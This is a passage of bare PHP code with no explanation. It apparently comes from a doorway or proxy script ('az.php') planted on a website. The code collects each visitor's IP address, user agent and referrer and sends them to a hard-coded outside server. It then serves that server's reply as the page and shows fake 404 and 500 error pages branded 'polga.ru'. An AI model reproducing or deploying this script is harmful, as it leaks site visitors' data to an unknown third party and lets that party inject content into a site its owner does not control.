NOT FOUND\r\npolga.ru"; $raz="http://213.251.199.194/RAZ.dll"; $qqq["RIP"]=$_SERVER["REMOTE_ADDR"]; $qqq["RUA"]=$_SERVER["HTTP_USER_AGENT"]; if ($_SERVER["HTTP_REFERER"]) $qqq["REF"]=implode("",unpack("H*",$_SERVER["HTTP_REFERER"])); else $qqq["REF"]="NONE"; $built=http_build_query($qqq); $xxx=($_SERVER["QUERY_STRING"])?"&".$_SERVER["QUERY_STRING"]:""; if (!$xxx) { $uri2=str_replace("/az.php/","/",$_SERVER["REQUEST_URI"]); $out=file_get_contents("$raz$uri2/?$built"); }else{ $opts["http"]["method"]="POST"; $opts["http"]["header"]="Content-type: application/x-www-form-urlencoded"; $opts["http"]["content"]=$built.$xxx; $context = stream_context_create($opts); $out= file_get_contents("$raz/Q", false, $context); } //* if (strlen($out)<6) { $s=trim($uri2,"/"); $ss=substr($s,0,3); $out2=@file_get_contents("zip://zip/$ss.zip#$s"); if ($out2) $out=$out2; } /**/ if ($out) { $len=strlen($out); if ($len<6) { header($_SERVER['SERVER_PROTOCOL']." 404 Not Found"); die($err404.$uri2); } if (strpos($_SERVER["REQUEST_URI"],".xml")) header("Content-Type: text/xml"); header("Content-Length: $len"); // [5] => Last-Modified: Wed, 16 Sep 2009 07:17:24 GMT // [6] => Connection: close // [7] => Cache-Control: s-maxage=0 // [8] => Accept-Ranges: bytes echo $out; }else{ for ($e=1;$e<=3;$e++) { sleep($e); $opts["http"]["content"]=$built.$xxx."&ERR=$e"; $context = stream_context_create($opts); $out= file_get_contents("$raz/Q", false, $context); $len=strlen($out); if ($len>6) { header("Content-Length: $len"); die($out); } } $err500="Server Error 500\r\n

SORRY, SERVER ERROR 500

\r\npolga.ru"; header($_SERVER['SERVER_PROTOCOL']." 500 Internal Server Error"); echo $err500; // header($_SERVER['SERVER_PROTOCOL']." 404 NOT FOUND"); // echo $err404; // echo "

$_SERVER[REQUEST_URI]

"; } /* //echo ""; echo "<!--"; print_r($_SERVER); echo "-->"; /**/